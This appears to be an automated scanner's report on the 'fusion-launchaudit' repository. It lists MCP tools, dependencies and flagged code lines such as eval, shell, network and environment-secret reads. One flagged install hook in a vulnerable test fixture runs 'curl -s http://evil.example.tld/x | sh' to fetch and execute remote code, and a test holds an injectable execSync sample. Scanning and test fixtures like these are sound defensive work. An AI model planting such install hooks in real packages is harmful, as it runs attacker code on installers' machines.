github JavaScript analyzed 9adba69 deep scan · partial (34/502 files)
Fusion-Data-Company/fusion-launchaudit
80/20 Launch Audit: a senior-dev launch audit that breaks into your app and proves what is broken. Open source (MIT); hosted audits from $79.
Drift inferred · capture-to-capture
No drift recorded — single capability capture; advisories appear once its surface changes.
transport stdio · http counts 10 tools · 0 res
· 0 prompts
permission surface via code analysis
tools
-
launchaudit_create_campaign
-
launchaudit_get_campaign
-
launchaudit_get_test_card_contract
-
launchaudit_list_campaigns
-
launchaudit_probe_runtime
-
launchaudit_read_report
-
launchaudit_register_artifact
-
launchaudit_run_audit
-
launchaudit_scan_repo
-
launchaudit_sync_campaign
prompt-surface
shipped agent-instruction files + hidden-content / dangerous-code findings —
quoted from the analyzed source
analyzed commit 9adba69 · analyzer v33 · 21h ago
skills & prompt files 4
- agent-rules Fusion-Data-Company-fusion-launchaudit-9adba69/.cursor/rules/launchaudit.md
- agent-rules Fusion-Data-Company-fusion-launchaudit-9adba69/AGENTS.md
- agent-rules Fusion-Data-Company-fusion-launchaudit-9adba69/CLAUDE.md
- skill Fusion-Data-Company-fusion-launchaudit-9adba69/claude-code/skills/launchaudit/SKILL.md
danger signals15
- dynamic code execution eval() Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaign.js :6312
ASM_CONSTS[start] = eval(func); - dynamic code execution eval() Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaigns.js :6312
ASM_CONSTS[start] = eval(func); - dynamic code execution eval() Fusion-Data-Company-fusion-launchaudit-9adba69/api/contact.js :6312
ASM_CONSTS[start] = eval(func); - dynamic code execution eval() Fusion-Data-Company-fusion-launchaudit-9adba69/api/crm-reconcile.js :6312
ASM_CONSTS[start] = eval(func); - dynamic code execution eval() Fusion-Data-Company-fusion-launchaudit-9adba69/api/demo.js :6345
ASM_CONSTS[start] = eval(func); - dynamic code execution eval() Fusion-Data-Company-fusion-launchaudit-9adba69/api/grade-order.js :6345
ASM_CONSTS[start] = eval(func); - dynamic code execution eval() Fusion-Data-Company-fusion-launchaudit-9adba69/api/monitor.js :6345
ASM_CONSTS[start] = eval(func); - dynamic code execution eval() Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-report.js :6345
ASM_CONSTS[start] = eval(func); - dynamic code execution eval() Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-reporting.js :6312
ASM_CONSTS[start] = eval(func); - dynamic code execution eval() Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-status.js :6345
ASM_CONSTS[start] = eval(func); - dynamic code execution eval() Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-url.js :6345
ASM_CONSTS[start] = eval(func); - dynamic code execution eval() Fusion-Data-Company-fusion-launchaudit-9adba69/api/rescan-cron.js :6345
ASM_CONSTS[start] = eval(func); - dynamic code execution eval() Fusion-Data-Company-fusion-launchaudit-9adba69/api/runner/sync.js :6312
ASM_CONSTS[start] = eval(func); - dynamic code execution eval() Fusion-Data-Company-fusion-launchaudit-9adba69/api/storage/register-artifact.js :6312
ASM_CONSTS[start] = eval(func); - dynamic code execution eval() Fusion-Data-Company-fusion-launchaudit-9adba69/api/waitlist.js :6312
ASM_CONSTS[start] = eval(func);
evidence-backed
findings quoted directly from the published source artifact — not inferred
code files: 268
filesystem 68
- fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaign.js :5944
var fs = require("fs"), nodePath = require("path"); - fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaigns.js :5944
var fs = require("fs"), nodePath = require("path"); - fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/contact.js :5944
var fs = require("fs"), nodePath = require("path"); - fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/crm-reconcile.js :5944
var fs = require("fs"), nodePath = require("path"); - fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/api/demo.js :5977
var fs = require("fs"), nodePath = require("path"); - fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/grade-order.js :5977
var fs = require("fs"), nodePath = require("path"); - fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/grade.js :24671
var fs = require("fs"), nodePath = require("path"); - fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/monitor.js :5977
var fs = require("fs"), nodePath = require("path"); - fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-report.js :5977
var fs = require("fs"), nodePath = require("path"); - fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-reporting.js :5944
var fs = require("fs"), nodePath = require("path"); - fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-status.js :5977
var fs = require("fs"), nodePath = require("path"); - fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-url.js :5977
var fs = require("fs"), nodePath = require("path");
show 28 more
- fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/rescan-cron.js :5977
var fs = require("fs"), nodePath = require("path"); - fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/runner/sync.js :5944
var fs = require("fs"), nodePath = require("path"); - fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/storage/register-artifact.js :5944
var fs = require("fs"), nodePath = require("path"); - fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/stripe-webhook.js :24671
var fs = require("fs"), nodePath = require("path"); - fs Fusion-Data-Company-fusion-launchaudit-9adba69/api/waitlist.js :5944
var fs = require("fs"), nodePath = require("path"); - fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/docs/proof/2026-09-14/hands-on-service/isolated-rentdesk.cjs :4
const fs=require('node:fs'),path=require('node:path'),http=require('node:http'); - fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/audit.ts :19
import fsp from "node:fs/promises"; - fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/blob-store.ts :22
import fs from "node:fs/promises"; - fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/capture-auth.ts :7
import fs from "node:fs/promises"; - fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/runner/diff.test.ts :3
import fs from "node:fs"; - fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/diff.ts :10
import fs from "node:fs"; - fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/execute-core.ts :7
import fs from "node:fs/promises"; - fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/executor.ts :14
import fs from "node:fs/promises"; - fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/init.ts :11
import fs from "node:fs"; - fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :272
const files = (await fs.readdir(dir)).filter((f) => f.endsWith(".json")).sort(); - fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/runner/policy.test.ts :3
import fs from "node:fs"; - fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/policy.ts :11
import fs from "node:fs"; - fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/render-dashboard.ts :10
import fs from "node:fs/promises"; - fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/render-report.ts :6
import fs from "node:fs/promises"; - fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/runner/repo-scanner.test.ts :4
import fs from "node:fs/promises"; - fs Fusion-Data-Company-fusion-launchaudit-9adba69/runner/repo-scanner.ts :1
import fs from "node:fs/promises"; - fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/base-proof.mjs :3
import fs from "node:fs/promises"; - fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/calibrate.ts :13
import fsp from "node:fs/promises"; - fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/elite-proof.ts :17
import fs from "node:fs"; - fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/hands-on-work.ts :5
import { readFile } from 'node:fs/promises'; - fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/mutation-test.ts :14
import fs from "node:fs"; - fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/rehearse-checkout.ts :34
import fs from "node:fs/promises"; - fs (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/seed-demo.ts :12
import fs from "node:fs/promises";
28 more not shown — this panel samples each group; the count above is the real total.
shell / exec 26
- shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaign.js :9148
async exec(s5, e) { - shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaigns.js :9148
async exec(s5, e) { - shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/contact.js :9148
async exec(s5, e) { - shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/crm-reconcile.js :9148
async exec(s5, e) { - shell (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/api/demo.js :9181
async exec(s5, e) { - shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/grade-order.js :9181
async exec(s5, e) { - shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/monitor.js :9181
async exec(s5, e) { - shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-report.js :9181
async exec(s5, e) { - shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-reporting.js :9148
async exec(s5, e) { - shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-status.js :9181
async exec(s5, e) { - shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-url.js :9181
async exec(s5, e) { - shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/rescan-cron.js :9181
async exec(s5, e) {
show 14 more
- shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/runner/sync.js :9148
async exec(s5, e) { - shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/storage/register-artifact.js :9148
async exec(s5, e) { - shell Fusion-Data-Company-fusion-launchaudit-9adba69/api/waitlist.js :9148
async exec(s5, e) { - shell (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/docs/proof/2026-09-14/hands-on-service/isolated-rentdesk.cjs :6
const {createHash}=require('node:crypto'),{execFileSync}=require('node:child_process'); - shell Fusion-Data-Company-fusion-launchaudit-9adba69/runner/audit.ts :36
import { spawn } from "node:child_process"; - shell Fusion-Data-Company-fusion-launchaudit-9adba69/runner/browser.ts :17
import { spawnSync } from "node:child_process"; - shell Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :234
const { spawn } = await import("node:child_process"); - shell (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/calibrate.ts :11
import { spawn } from "node:child_process"; - shell (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/elite-proof.ts :13
import { spawn } from "node:child_process"; - shell (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/mutation-test.ts :12
import { spawn } from "node:child_process"; - shell (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/test-fixtures.ts :15
import { spawn } from "node:child_process"; - shell Fusion-Data-Company-fusion-launchaudit-9adba69/server/dev-server.ts :20
import { spawn as spawnProc } from "node:child_process"; - shell (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/audit-delivery-integration.test.ts :4
import {execFileSync} from 'node:child_process'; - shell (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/generators/code-smells.test.ts :16
"execSync(`ls ${dir}`);",
network 51
- net Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaign.js :2019
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - net Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaigns.js :2019
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - net Fusion-Data-Company-fusion-launchaudit-9adba69/api/checkout.js :18735
import net2 from "node:net"; - net Fusion-Data-Company-fusion-launchaudit-9adba69/api/contact.js :2019
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - net Fusion-Data-Company-fusion-launchaudit-9adba69/api/crm-reconcile.js :2019
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/api/demo.js :2052
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - net Fusion-Data-Company-fusion-launchaudit-9adba69/api/grade-order.js :2052
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - net Fusion-Data-Company-fusion-launchaudit-9adba69/api/grade.js :20746
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - net Fusion-Data-Company-fusion-launchaudit-9adba69/api/monitor.js :2052
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - net Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-report.js :2052
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - net Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-reporting.js :2019
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - net Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-status.js :2052
fetch(f5, { headers: { Upgrade: "websocket" } }).then(
show 28 more
- net Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-url.js :2052
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - net Fusion-Data-Company-fusion-launchaudit-9adba69/api/rescan-cron.js :2052
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - net Fusion-Data-Company-fusion-launchaudit-9adba69/api/runner/sync.js :2019
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - net Fusion-Data-Company-fusion-launchaudit-9adba69/api/storage/register-artifact.js :2019
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - net Fusion-Data-Company-fusion-launchaudit-9adba69/api/stripe-webhook.js :20746
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - net Fusion-Data-Company-fusion-launchaudit-9adba69/api/waitlist.js :2019
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/docs/proof/2026-09-14/hands-on-native/db-proxy.cjs :2
const {createRequire}=require('node:module'),net=require('node:net'); - net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/docs/proof/2026-09-14/hands-on-service/isolated-rentdesk.cjs :4
const fs=require('node:fs'),path=require('node:path'),http=require('node:http'); - net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/fixtures/buggy-shop/server.js :20
const http = require('http'); - net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/fixtures/shop-fixed/server.js :20
const http = require('http'); - net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/fixtures/vuln-saas/server.js :12
const http = require("http"); - net Fusion-Data-Company-fusion-launchaudit-9adba69/public/assets/app.js :666
let response = await fetch(`/api/campaign${qs}`, { headers: operatorHeaders() }); - net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/public/assets/demo.js :19
fetch('/api/demo',{headers:{'accept':'application/json'}}).then(function(r){return r.json();}).then(function(d){ - net Fusion-Data-Company-fusion-launchaudit-9adba69/public/assets/landing.js :237
var r=await fetch('/api/waitlist',{method:'POST',headers:{'content-type':'application/json'},body:JSON.stringify({email:email,scan_id:current.scanId,monitor:mon})}); - net Fusion-Data-Company-fusion-launchaudit-9adba69/public/assets/monitor.js :155
try{var r=await fetch('/api/monitor',{method:'POST',headers:{'content-type':'application/json'},body:JSON.stringify(body)});var res=await r.json(); - net Fusion-Data-Company-fusion-launchaudit-9adba69/public/assets/order-success.js :96
var r=await fetch('/api/order-url',{method:'POST',headers:{'content-type':'application/json'},body:JSON.stringify({session_id:sid,url:url,authorized:true})}); - net Fusion-Data-Company-fusion-launchaudit-9adba69/public/assets/report.js :5
const response = await fetch(`/api/campaign${campaignId ? `?id=${encodeURIComponent(campaignId)}` : ""}`); - net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/audit.ts :449
const created = await fetch(`${PLATFORM_URL}/api/campaigns`, { - net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/content-audit.ts :21
const r = await fetch(url, { redirect: "follow", headers: { "user-agent": "LaunchAudit-Content/1.0" } }); - net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/elevenlabs-audit.ts :21
const r = await fetch(`https://api.elevenlabs.io/v1/convai/agents/${agentId}`, { - net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/execute-core.ts :82
try { const r = await fetch(origin + "/", { redirect: "manual" }); body = await r.text(); } catch { body = ""; } - net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/executor.ts :225
const response = await fetch(target); - net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/local-runner.ts :89
const response = await fetch(syncUrl, { - net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :68
const response = await fetch(`${API_URL}/api/campaign`); - net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/repo-scanner.ts :896
const response = await fetch(appUrl, { method: "GET", redirect: "follow", signal: controller.signal }); - net Fusion-Data-Company-fusion-launchaudit-9adba69/runner/seo-audit.ts :19
const r = await fetch(url, { redirect: "follow", headers: { "user-agent": "LaunchAudit-SEO/1.0" } }); - net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/calibrate.ts :12
import http from "node:http"; - net (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/elite-proof.ts :14
import http from "node:http";
11 more not shown — this panel samples each group; the count above is the real total.
secrets 33
- secrets Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaigns.js :14823
const configured = (process.env.RUNNER_SYNC_SECRET ?? "").trim(); - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/api/checkout.js :18948
const secret = process.env.STRIPE_SECRET_KEY; - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/api/contact.js :14144
const key = process.env.RONIN_API_KEY?.trim(); - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/api/crm-reconcile.js :14179
const key = process.env.RONIN_API_KEY?.trim(); - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-reporting.js :14176
const secret = process.env.CRON_SECRET; - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/api/storage/register-artifact.js :14818
const configured = (process.env.RUNNER_SYNC_SECRET ?? "").trim(); - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/api/waitlist.js :14144
const key = process.env.RONIN_API_KEY?.trim(); - secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/docs/proof/2026-09-14/hands-on-service/isolated-rentdesk.cjs :22
delete process.env.DATABASE_URL;delete process.env.SMTP_URL;process.env.NODE_ENV='development';process.env.SESSION_SECRET='isolated-hands-on-fixture-secret-not-production'; - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/runner/audit.ts :439
const attestation = buildAttestation(reportData, launchGate(reportData), process.env.LAUNCHAUDIT_ATTEST_KEY); - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/runner/blob-store.ts :58
return Boolean(process.env.BLOB_READ_WRITE_TOKEN); - secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/rehearse-checkout.ts :97
const whsec = process.env.STRIPE_WEBHOOK_SECRET; - secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/seed-demo.ts :48
if (process.env.BLOB_READ_WRITE_TOKEN) {
show 21 more
- secrets Fusion-Data-Company-fusion-launchaudit-9adba69/server/api-src/checkout.ts :25
const secret = process.env.STRIPE_SECRET_KEY; - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/server/api-src/crm-reconcile.ts :5
const expected=process.env.CRON_SECRET?.trim(); - secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/server/api-src/demo.ts :49
const secrets = [process.env.RUNNER_SYNC_SECRET, process.env.CRON_SECRET].filter(Boolean); - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/server/api-src/grade-order.ts :15
const secrets = [process.env.CRON_SECRET, process.env.RUNNER_SYNC_SECRET].filter(Boolean); - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/server/api-src/rescan-cron.ts :21
const secret = process.env.CRON_SECRET; - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/server/api-src/runner-auth.ts :61
const configured = (process.env.RUNNER_SYNC_SECRET ?? "").trim(); - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/server/api-src/storage/register-artifact.ts :85
mode: process.env.BLOB_READ_WRITE_TOKEN ? "vercel_blob_ready" : "contract_only_missing_blob_token", - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/server/api-src/stripe-webhook.ts :62
const key = process.env.STRIPE_SECRET_KEY; - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/server/dev-server.ts :612
mode: process.env.BLOB_READ_WRITE_TOKEN ? "vercel_blob_ready" : "contract_only_missing_blob_token", - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/audit-delivery.ts :93
const token = process.env.BLOB_READ_WRITE_TOKEN; - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/audit-payment-proof.ts :13
export function keyExpectsLive(secretKey: string | undefined = process.env.STRIPE_SECRET_KEY): boolean { - secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/completeness/scan.test.ts :106
const key = process.env.SENDGRID_API_KEY; - secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/crm-delivery.test.ts :5
const old=globalThis.fetch;const oldKey=process.env.RONIN_API_KEY;process.env.RONIN_API_KEY='test'; - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/crm-delivery.ts :5
const key = process.env.RONIN_API_KEY?.trim(); - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/deep-grade.ts :105
const key = process.env.PAGESPEED_API_KEY; - secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/deep-tier-fulfillment.test.ts :15
process.env.STRIPE_SECRET_KEY='sk_test_isolated'; - secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/grade-order-auth.test.ts :17
process.env.CRON_SECRET='cron-test-only';process.env.RUNNER_SYNC_SECRET='runner-test-only'; - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/order-reporting.ts :3
export function orderCronAuthorized(header:string|undefined){const secret=process.env.CRON_SECRET;if(!secret||!header)return false;return timingSafeEqual(createHash('sha256').update(header).digest(),c - secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/paid-audits-claims.test.ts :33
const previousSecret = process.env.STRIPE_SECRET_KEY; - secrets Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/paid-audits.ts :133
const secret = process.env.STRIPE_SECRET_KEY; - secrets (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/src/lib/stripe-webhook.test.ts :50
process.env.STRIPE_WEBHOOK_SECRET = "whsec_webhook_test";
tool registrations 10
- launchaudit_scan_repo Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :38
- launchaudit_probe_runtime Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :55
- launchaudit_get_campaign Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :62
- launchaudit_get_test_card_contract Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :89
- launchaudit_sync_campaign Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :116
- launchaudit_register_artifact Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :167
- launchaudit_list_campaigns Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :192
- launchaudit_create_campaign Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :204
- launchaudit_run_audit Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :224
- launchaudit_read_report Fusion-Data-Company-fusion-launchaudit-9adba69/runner/mcp-server.ts :263
install hooks 1
- postinstall (suspicious) Fusion-Data-Company-fusion-launchaudit-9adba69/fixtures/vuln-saas/package.json :10
curl -s http://evil.example.tld/x | sh
declared dependencies 9
- @modelcontextprotocol/sdk@^1.29.0
- @neondatabase/serverless@^1.1.0
- undici@^6.28.1
- @vercel/blob@^2.4.0
- axe-core@^4.12.1
- zod@^4.4.3
- @electric-sql/pglite@^0.5.1
- esbuild@^0.28.0
- playwright@^1.61.0
cursor-plugin 1
- opaque (low) Fusion-Data-Company-fusion-launchaudit-9adba69/.cursor/rules/launchaudit.md
bundled .cursor/ plugin descriptor (Fusion-Data-Company-fusion-launchaudit-9adba69/.cursor/rules/launchaudit.md) — presence-detected; review the descriptor
obfuscation 2
- dynamic require()/import() Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/build-api.ts :40
await import(new URL(`../${outfile}`, import.meta.url).href); - dynamic require()/import() Fusion-Data-Company-fusion-launchaudit-9adba69/server/dev-server.ts :341
const mod = (await import(`./api-src/${name}.ts`)) as { default: (req: unknown, res: unknown) => Promise<void> | void; config?: { api?: { bodyParser?: boolean } } };
perm:untrusted 19
- untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaign.js :2019
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/campaigns.js :2019
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/contact.js :2019
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/crm-reconcile.js :2019
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - untrusted (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/api/demo.js :2052
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/grade-order.js :2052
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/grade.js :20746
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/monitor.js :2052
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-report.js :2052
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-reporting.js :2019
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-status.js :2052
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/order-url.js :2052
fetch(f5, { headers: { Upgrade: "websocket" } }).then(
show 7 more
- untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/rescan-cron.js :2052
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/runner/sync.js :2019
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/storage/register-artifact.js :2019
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/stripe-webhook.js :20746
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/api/waitlist.js :2019
fetch(f5, { headers: { Upgrade: "websocket" } }).then( - untrusted Fusion-Data-Company-fusion-launchaudit-9adba69/runner/execute-core.ts :450
const fire = () => fetch(target, { method, headers, body, redirect: "manual" }).then((r) => r.status).catch(() => 0); - untrusted (weak) Fusion-Data-Company-fusion-launchaudit-9adba69/scripts/rehearse-checkout.ts :137
const before = await (await fetch(`${base}/api/order-status?session_id=${encodeURIComponent(sessionId)}`)).json() as Record<string, unknown>;